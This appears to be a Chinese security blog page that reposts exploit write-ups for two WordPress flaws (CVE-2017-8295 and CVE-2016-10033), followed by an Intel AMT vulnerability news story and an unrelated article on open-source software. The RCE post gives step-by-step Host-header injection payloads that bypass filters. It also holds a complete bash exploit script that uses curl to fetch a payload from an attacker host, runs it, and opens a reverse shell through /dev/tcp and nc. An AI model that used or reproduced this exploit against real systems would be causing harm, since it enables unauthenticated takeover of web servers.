0day来袭WordPress Core <= 4.7.4全版本密码重置漏洞 渗透测试

这两天的wordpress总是不平静....今天刚刚爆出0day....


漏洞概述


漏洞编号:CVE-2017-8295

漏洞发现者:dawid_golunski

漏洞危害:中/高

影响版本:WordPress Core <= 4.7.4

漏洞描述:Wordpress的密码重置功能,其中存在漏洞在某些情况下可能允许攻击者在未经身份验证的情况下获取密码重置链接。这种攻击可导致攻击者获得未经授权的WordPress帐户访问权限。该漏洞的触发条件比较苛刻。


漏洞细节


默认情况下,该漏洞由于WordPress使用不受信任的数据。当进行密码重置时,系统会发送相关密码重置链接到所有者帐户相关联的电子邮件。

这可以在创建From的代码片段中观察到

调用PHP mail()函数前的电子邮件头:

------[ wp-includes/pluggable.php ]------
...
if ( !isset( $from_email ) ) {
        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }
        $from_email = 'wordpress@' . $sitename;
}
...

我们可以看到,Wordpress正在使用SERVER_NAME变量来获取主机名,该服务器为了创建一个From / Return-Path 地址,包含重置密码的相关信息的电子邮件。但是,Web服务器(如Apache)使用客户端提供的主机名默认设置SERVER_NAME变量


(在HTTP_HOST 头内):

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname 

因为SERVER_NAME可以修改,攻击者可以将其设置为任意他选择的域。例如:

attackers-mxserver.com

这将导致Wordpress将$ from_email设置为 

[email protected]

并因此导致发送电子邮件与From / Return-Path设置为此恶意地址。

至于攻击者能够修改哪个电子邮件头 - From / Return-Path,这取决于服务器环境。更多可以阅读

http://php.net/manual/en/function.mail.php 

From头在Windows下还设置了Return-Path。

根据邮件服务器的配置,可能会导致发送给受害者WordPress用户的电子邮件头中设置的恶意的From / Return-Path地址。 

这可能允许攻击者拦截包含该邮件的邮件,密码重置链接在某些情况下需要用户交互以及没有用户互动。

一些示例场景

如果攻击者知道受害者用户的电子邮件地址。他们可以执行先前的操作DoS攻击受害者的电子邮件帐户(例如发送多个邮件)大文件超过用户的磁盘配额或攻击DNS服务器)

导致密码重置邮件被接收服务器拒绝到达目的地,从而在攻击者的服务器上接收邮件。

一些自动回复者可能附上发送到该机构的电子邮箱的副本 

自动回复的消息

发送多个密码重置电子邮件强制用户回复 

消息查询说明无限密码重置电子邮件。 

包含密码链接的回复将被发送给攻击者。

等等


概念证明


如果攻击者将类似于下面的请求发送到默认的Wordpress

-----[ HTTP Request ]----
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password
------------------------

Wordpress将触发管理员用户帐户的密码重置功能。


由于修改了HOST 头,SERVER_NAME将被设置为攻击者设置的主机名。因此,Wordpress会将以下标题和电子邮件正文传递给/ usr / bin / sendmail:

------[ resulting e-mail ]-----
Subject: [CompanyX WP] Password Reset
Return-Path: <[email protected]>
From: WordPress <[email protected]>
Message-ID: <[email protected]>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

假如有人要求为以下帐户重设密码:


http://companyX-wp/wp/wordpress/
Username: admin
要重置密码,请访问以下地址:如果这是一个误会,只要忽略这封电子邮件,什么都不会发生。
< http://companyX-wp/wp/wordpress/wp-login.php?action = rp&key = AceiMFmkMR4fsmwxIZtZ&login = admin>
我们可以看到,Return-Path/From和Message-ID的字段都有攻击者设置的域。

可以使用一个bash脚本替换/ usr / sbin / sendmail来执行头文件的验证

bash脚本:

#!/bin/bash
cat > /tmp/outgoing-email

解决方案


目前没有官方解决方案可用。作为临时解决方案,用户可以启用UseCanonicalName强制执行静态SERVER_NAME值

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname 

这个问题首先向WordPress安全团队多次报道,第一份报告于2016年7月发送。 

由于这种情况没有进展,没有官方补丁,开始向公众发布。


参考


https://legalhackers.com/ 

https://exploitbox.io/ 

https://w3techs.com/technologies/details/cm-wordpress/all/all 

https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html


admin 发布于  2017-5-4 21:49 

WordPress<4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频) 渗透测试

漏洞概述

漏洞编号:CVE-2016-10033

漏洞发现者:dawid_golunski

漏洞危害:严重

影响版本:WordPress <4.7.1

漏洞描述:远程攻击者可以利用该漏洞执行代码

漏洞细节

这个漏洞主要是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码中的体现,该漏洞不需要任何的验证和插件,在默认的配置情况下就可以利用。远程攻击者可以利用该漏洞执行代码。由于该漏洞影响比较大,通过和官方协商,决定推迟更新wordpress漏洞细节。

漏洞代码:

if ( !isset( $from_email ) ) {
              // Get the site domain and get rid of www.
              $sitename = strtolower( $_SERVER['SERVER_NAME'] );
              if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                      $sitename = substr( $sitename, 4 );
              }
              $from_email = 'wordpress@' . $sitename;
      }
      /**
       * Filters the name to associate with the "from" email address.
       *
       * @since 2.3.0
       *
       * @param string $from_name Name associated with the "from" email address.
       */
      $from_name = apply_filters( 'wp_mail_from_name', $from_name );
      $phpmailer->setFrom( $from_email, $from_name );

WordPress 根据SERVER_NAME 服务器头设置电子邮件域,当WordPress wp_mail()函数被调用来发送电子邮件时(例如,用户注册,忘记密码等)。可以看到from是这样的:

$from_email = 'wordpress@' . $sitename;

然后将其过滤并传递到PHPMailer的易受攻击的setFrom()函数中,相关细节请回顾:

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code -exec-CVE-2016-10033-Vuln.html

注入

可以在Apache的默认配置上操作SERVER_NAME服务器头。Web服务器(最常见的WordPress部署)通过HTTP请求中的HOST头。

为了验证这点,请看vars.php请求与响应的演示:

GET /vars.php HTTP/1.1
Host: xenialINJECTION
HTTP/1.1 200 OK
Server: Apache
Array
(
  [HTTP_HOST] => xenialINJECTION
  [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu)
  [SERVER_NAME] => xenialinjection
...




我们可以看到,在HOST头文件中附加到主机名的INJECTION字符串 复制到HTTP_HOST和SERVER_NAME PHP变量。

使用这个HOST头的例子,如果攻击者触发了wp_mail()函数

通过使用WordPress的忘记密码功能,HTTP请求将类似于:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
user_login=admin&redirect_to=&wp-submit=Get+New+Password

并将导致以下参数传递到/ usr / sbin / sendmail:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenialinject]

这里需要注意的是第三个参数。电子邮件的域名部分匹配请求的HOST头,小写“inject”除外。

绕过过滤

为了利用PHPMailer的mail()注入漏洞,攻击者会将参数附加到域部分。但是,过滤/验证这个地方(在wordpress方面以及PHPMailer库方面)都会

防止攻击者注入空字符(空格或TAB),因此从注入参数到sendmail binary 。

例如,如果攻击者将HOST头修改为以下内容:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenialINJECT SPACE

验证将导致无效的域部分错误,并且WordPress应用程序将退出http响应:

HTTP/1.0 500 Internal Server Error

在这种情况下,PHPMailer函数永远不会被执行(sendmail binary 不会被执行)

PHPMailer库的validateAddress()函数以及PHP的filter_var / FILTER_VALIDATE_EMAIL都符合RFC 822标准

详细请查看:

http://php.net/manual/en/filter.filters.validate.php  

它禁止域部分中的空格,从而防止注入的附加参数到/ usr / sbin / sendmail。

应该注意的是注入额外的 \ 反斜杠到电子邮件的用户名部分

http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

对于攻击者来说,在这种情况下电子邮件的用户名部分很难利用。

RFC 822和注释语法

根据查看RFC 822规范,找到绕过验证的一种潜在的方法:

https://www.ietf.org/rfc/rfc822.txt

电子邮件地址可以包含注释

该文件给出了一个电子邮件示例,其中括号中有注释:

":sysmail"@  Some-Group. Some-Org,
          Muhammed.(I am  the greatest) Ali @(the)Vegas.WBA

作为有效的电子邮件,域内部分的简化注释示例:

[email protected](comment)

经过进一步测试,结果发现注释部分可以包含空格在域名部分,可以作为一种绕过的方式。将验证域部分注入附加参数到sendmail binary。

通过注释语法注入参数

以下请求与HOST头设置为:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 injected tmp2)

不会触发错误,测试以下参数发送邮件 :

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [injected]
Arg no. 5 == [tmp2)]

我们已经设法绕过Wordpress过滤器的验证以及PHPMailer的内部setFrom()验证。

apply_filters( 'wp_mail_from_name', $from_name );

我们现在可以控制第四个参数('inject')并且可以注入。如果需要,参数3和参数5之间有更多的参数。在理论上,我们现在应该可以注入额外的参数到/ usr / sbin / sendmail包装器 从而实现任意代码执行。

通过Sendmail MTA执行代码

迄今为止,唯一已知的方法是通过远程执行代码执行PHPmailer(),PHPmailer()依赖于目标系统上的Sendmail MTA

最常见的Sendmail MTA向量类似于:

-OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php


它通常通过输入信息写入一个包含php后门的日志文件

然而,这种技术有两个问题:

1)

Sendmail MTA不再常用,我们可以通过查看来验证

http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html

这表明Sendmail在Linux MTA中最不受欢迎。它不附带任何现代的Linux发行版。

2)

上述的Sendmail技术在这种情况下不起作用。如前所述,主机名复制到SERVER_NAME服务器变量被转换成小写,因此被注入Sendmail参数在请求中类似于:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -O -X tmp2)

将出现以下一组sendmail参数:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-o]
Arg no. 5 == [-x]
Arg no. 6 == [tmp2)]

Sendmail会失败并出现错误,因为这里参数是区分大小写的,而-q和-x都不会工作。

通过Exim4 MTA执行代码

关于php mail()函数相关有趣的点(远程代码执行)可以关注这篇文章

https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

PHPMailer和其他电子邮件库中的漏洞同样也可以利用Exim4 MTA执行代码,基本格式如下

sendmail -be'$ {run {/ bin / true} {true} {false}}'

-be开关启用字符串扩展测试模式。上述扩展执行/ bin / true并返回值

同样,以下将执行id命令:

sendmail -be'$ {run {/ bin / bash -c“id”} {yes} {no}}'

注意:在使用Exim4的系统上,/ usr / sbin / sendmail只是一个符号链接:/ usr / sbin / sendmail  - > exim4与Sendmail MTA无关。

这个点可以可靠的方式实现执行命令

$ run expand指定为参数,不需要将文件写入/ var / www / html或猜测目录路径

HOST头限制

看似简单的Exim4 向量在实践中变得棘手,因为上述扩展字符串不能在HOST头文件中运行。

请求格式如下:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 slash/ -X tmp2)

由于在HOST头中出现斜线/字符,Apache网络服务器将会拒绝该请求。$run函数不会正常执行,因为它需要一个完整的二进制文件的路径执行(这表明exim4使用exec()来执行命令,而不是通过system()执行命令)。

绕过限制

绕过HOST头的限制几种方法

尝试通过研究可用的Exim字符串:

http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html

嵌入式perl

其中一个扩展是:

$ {perl {foo} {argument1} {argument2} ...}

不过Perl在默认情况下没有启用perl,因此漏洞无法使用。

编码

对base64和HEX编码/解码功能进行了测试。但是似乎没有被exim4支持,测试的时候报错,如:

sendmail -be'$ {base64d:QUI =}'

失败:未知扩展运算符“base64d”

子字符串和环境变量

---------------------

另一个想法是结合使用已知的环境变量,用子字符串提取禁止的斜杠字符。例如,PATH环境变量包含斜杠:

PATH = / bin:/ usr / bin

因此是一个很好的候选变量。

$ {env {PATH}}可用于获取变量和连接$substring(子字符串)扩展,从而可以获得斜杠。在以下命令中可以看到:

sendmail -be'$ {substr {0} {1} {$ {env {PATH}}}}'
/

不幸的是,这种技术导致了一个死胡同,环境变量PATH插入到HOST头文件中时转换为小写,在Linux下不工作。

子字符串和内部exim4变量

--------------------------------------

通过不断的测试发现以下变量可以使用:

sendmail -be '${spool_directory}'
/var/spool/exim4

spool_directory变量默认存在,并且没有大写字母,因此可以可靠地执行。

斜杠可以替换为:

$ {SUBSTR {0} {1} {$ spool_directory}}

从而绕过HOST头的斜杠限制。

以下命令:

sendmail -be'$ {run {/ usr / bin / touch / tmp / test}}'

现在可以转换为:

sendmail -be'$ {run {$ {substr {0} {1} {$ spool_directory}} usr $ {substr {0} {1} {$ spool_directory}} bin $ {substr {0} {1} {$ spool_directory }} touch $ {substr {0} {1} {$ spool_directory}} tmp $ {substr {0} {1} {$ spool_directory}} test}}'

这在terminal 下正常工作,但是在HTTP请求中进行测试时:

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)

转化后是以下sendmail参数:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch]
Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 7 == [tmp2)]

我们可以看到,有效载荷被分解成5和6的两个参数而不是一个,这样可以防止Exim正确地执行有效载荷。这个问题是由命令参数之间的空格引起的(空格'touch')

替换空格

------------------

首先,我们考虑环境变量IFS,环境变量不能像以前测试的那样正常工作。

经过深入研究,发现了一个方便的内部exim变量:

sendmail -be'$ {tod_log}'
2016-01-02 23:49:42

tod_log变量返回一个含有空格的当前日期格式。

类似于斜杠替换,$ substring + $ tod_log变量可以

用于替换测试的空格:

sendmail -be'$ {substr {10} {1} {$ tod_log}}'

PoC HTTP请求

POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}  tmp2)
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
user_login=admin&redirect_to=&wp-submit=Get+New+Password

发送到WordPress核心应用程序时的上述请求会导致exim被调用,其中转化后的参数格式如下:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fwordpress@xenial(tmp1]
Arg no. 4 == [-be]
Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}]
Arg no. 6 == [tmp2)]

这里将在目标系统WordPress 4.6上创建一个测试test文件:

/usr/bin/touch /tmp/test

以上是全部的构造PoC的过程,可以通过这个逻辑进而反弹shell。

PoC 


rev_host="192.168.57.1"
function prep_host_header() {
      cmd="$1"
      rce_cmd="\${run{$cmd}}";
      # replace / with ${substr{0}{1}{$spool_directory}}
      #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
      rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
      # replace ' ' (space) with
      #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
      rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
      #return "target(any -froot@localhost -be $rce_cmd null)"
      host_header="target(any -froot@localhost -be $rce_cmd null)"
      return 0
}
#cat exploitbox.ans
intro="
DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
intro2="
ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
echo "$intro"  | base64 -d
echo "$intro2" | base64 -d
if [ "$#" -ne 1 ]; then
echo -e "Usage:\n$0 target-wordpress-url\n"
exit 1
fi
target="$1"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
echo -e "\e[92m[+]\033[0m Connected to the target"
# Serve payload/bash script on :80
RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -vv -l 1337
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0
fi
echo "Exiting..."
exit 0

PoC演示视频: http://v.youku.com/v_show/id_XMjc0MDU2NjQyMA==.html

修复建议:

更新到最新版本或者4.7.1以上版本

下载地址https://wordpress.org/latest.zip

参考:

https://legalhackers.com/ 

https://exploitbox.io/ 

https://youtu.be/ZFt_S5pQPX0 

https://w3techs.com/technologies/details/cm-wordpress/all/all 

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html 

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 

https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html 

https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html  


admin 发布于  2017-5-4 21:25 

你还认为什么是没有后门的呢?英特尔芯片管用十年! 业界新闻

英特尔周一发布消息称,安全研究人员Maksim Malyutin发现一款关键安全漏洞“CVE-2017-5689”,并于三月报告了该漏洞。其影响了使用英特尔AMT、ISM或SBT的企业PC和设备。要获取英特尔补丁关闭该漏洞,机器制造商必须进行固件升级。

而这个关键安全漏洞存在数百万的英特尔工作站和服务器芯片中长达9年之久,该漏洞潜在被利用可执行远程控制操作,并通过间谍软件感染系统。

Chipzilla公司指出,具体而言,Intel的主动管理技术(AMT)、标准可管理(ISM)和小型企业技术(SBT)固件版本6到11.6均存在该漏洞。这个漏洞允许无特权的攻击者控制这些产品提供的可管理性功能。

这就意味着,黑客可以使用AMT的功能,登录进入易受攻击的计算机硬件,秘密篡改机器,并安装几乎不会被检测到的恶意软件等。这种影响可以是跨网络的,因为AMT可以直接访问计算机的网络硬件。

近十年来,这些不安全的管理功能存在于多种不同的英特尔芯片组中,从2008年的Nehalem Core i7到今年的Kaby Lake Core部件。至关重要的是,这个漏洞存在于机器芯片的核心,操作系统、应用程序和任何反病毒软件都无从察觉。

而且,这个漏洞只能通过固件升级彻底解决,并且存在于数百万个芯片中,意味着进入全球计算机的后门。

漏洞的影响范围

这个易受攻击的AMT服务是英特尔vPro处理器功能套件的一部分。如果系统上存在vPro,并启用了该服务,并且配置了AMT,那么网络上未经验证的黑客便可以访问并劫持计算机的AMT控制。如果未配置AMT,则无需担心。

英特尔认为,该漏洞影响了企业和服务器固件,因为它们均存在并启用了vPro和AMT,并非针对普通用户使用的系统。

如果用户使用的机器启用了vPro和AMT功能,用户将面临风险。值得注意的是虽然现代的苹果Macs使用的是英特尔芯片,但并未使用AMT软件,因此Macs是安全的,用户可以放心使用。

但消费者电脑未受到影响,因为目前为止英特尔尚未发现对此漏洞的利用案例。

英特尔表示:

  • 无特权的网络攻击者可以获取英特尔可管理性SKU的系统特权:AMT和ISM。

  • 无特权的本地攻击者可以提供可管理性功能获取英特尔可管理SKU上的无特权网络或本地系统特权:AMT、ISM和SBT.

很显然,英特尔SBT不易受到通过网络执行的特权升级攻击。受影响的固件版本和处理器如下,使用AMT、ISM或SBT的客户应留心。

  • 第一代Core系列:6.2.61.3535

  • 第二代Core系列:7.1.91.3272

  • 第三代Core系列:8.1.71.3608

  • 第四代Core系列:9.1.41.3024和9.5.61.3012

  • 第五代Core系列:10.0.55.3000

  • 第六代Core系列:11.0.25.3001

  • 第七代Core系列:11.6.27.3264

AMT是什么?

AMT是一款可通过设备的有线以太网接口网络端口16992访问的带外管理工具:它将系统的完全控制暴露到网络,允许IT人员和其它系统管理员远程重启、修复并轻微调整服务器和工作站。它能够提供一个虚拟串行控制台和(如果安装的是正确的驱动)远程桌面访问权限。

在获取权限之前应该要求提供密码,但是上述提到的漏洞意味着攻击者能够入侵硬件的控制面板。即使已经为系统的AMT访问权限设置了防火墙,但在用户网络上的攻击者或恶意软件仍然能够利用这个漏洞进入AMT管理的工作站和服务器并进一步攻陷企业。

AMT是一款运行在因特尔管理引擎(ME)上的软件,它是一种被因特尔以各种方式在十多年嵌入其芯片集中的技术。它从本质上讲是计算机中的第二个计算机,能够完全访问网络、周边、内存、存储和处理器。有意思的是,这个引擎是ARC CPU core驱动的,后者有16位和32位混合架构而且跟用于Super Nintendo游戏如Star Fox 的Super FX芯片紧密相关。


因特尔ME的详情在过去几年中也有被欺骗的案例。Arc core运行在来自SPI闪存的ThreadX RTOS。它能直接访问以太网控制器。目前它被内置在Platform Controller Hub中,后者是一个因特尔迷你芯片,包含多种硬件控制器并跟母板上的主要处理器连接在一起。

ME是因特尔不愿谈论过多的黑匣子,尽管Chipzilla网站上对此由部分介绍。它会让人们担忧隐私和安全:没有人很透彻地了解这个引擎到底是干什么的,是否被真正禁用了。

在一些因特尔芯片家族中,可通过擦除母板闪存的部分内容来杀死ME。

多年来,工程师和信息安全专家都在告警称,由于所有的代码都存在漏洞,因特尔AMT软件中至少存在一个可被远程利用的漏洞,而ME正在运行它,因此必须找到一种解决方案:买一台根本没有AMT的芯片集,而不是仅仅禁用或断开连接。

找到这个漏洞就像是从微软Windows或Red Hat企业版Linux中找到一个硬连线的、无法删除的、且远程可访问的管理员账户,而用户名和密码是“hackme”。除了这个因特尔缺陷存在于芯片集中、用户无法处理之外,必须等待计算机厂商推出补丁。


admin 发布于  2017-5-3 12:04 

致敬!这些老外的开源技术养活了一票国产软件 杂七杂八

现在各种国产软件已经牢牢占据了国内市场,无论是在浏览器、下载软件、压缩软件还是视频播放器等领域,都可以看到国产软件活跃的身影。诚然,国产软件在很多方面体验都不错,但之所以它们这么强,很大程度上是因为在核心技术方面,借用了相当多来自开源软件的技术。

大家对国产软件都相当了解,但对于国产软件背后的开源软件,又知道多少?今天,就一起来谈谈国产软件背后的开源软件吧。

养活了一票国产浏览器:Chromium

国内有很多“极速浏览器”,所使用的是 Chrome 同样的引擎,这点大家都相当了解。不过,对于 Chome 背后的开源项目 Chromium,大家了解的细节未必就这么多了。

Chromium 源于 Webkit,而 Webkit 则源于 DE 开源项目,兴盛于苹果公司的 Safari 项目,所以说起来 Chromium 和苹果还是有一些渊源的。但是,Chromium 又不仅仅是 Webkit,Chrome 只是继承了 Webkit 的 WebCore 部分,在 JS 引擎上使用了 Google 引以为豪的“V8”,还在 Webkit 上封装了一层 Webkit Glue。可以说,Chromium 对 Webkit 进行了相当程度的魔改

点击查看原图

Chromium 是一堆国产极速浏览器赖以生存的基本

不仅如此,Chromium 也已经转用了 Blink 内核,和 Webkit 的渊源就更加远了。国内浏览器使用了 Chromium 的源码,因此现在不少也换用了 Blink 内核。

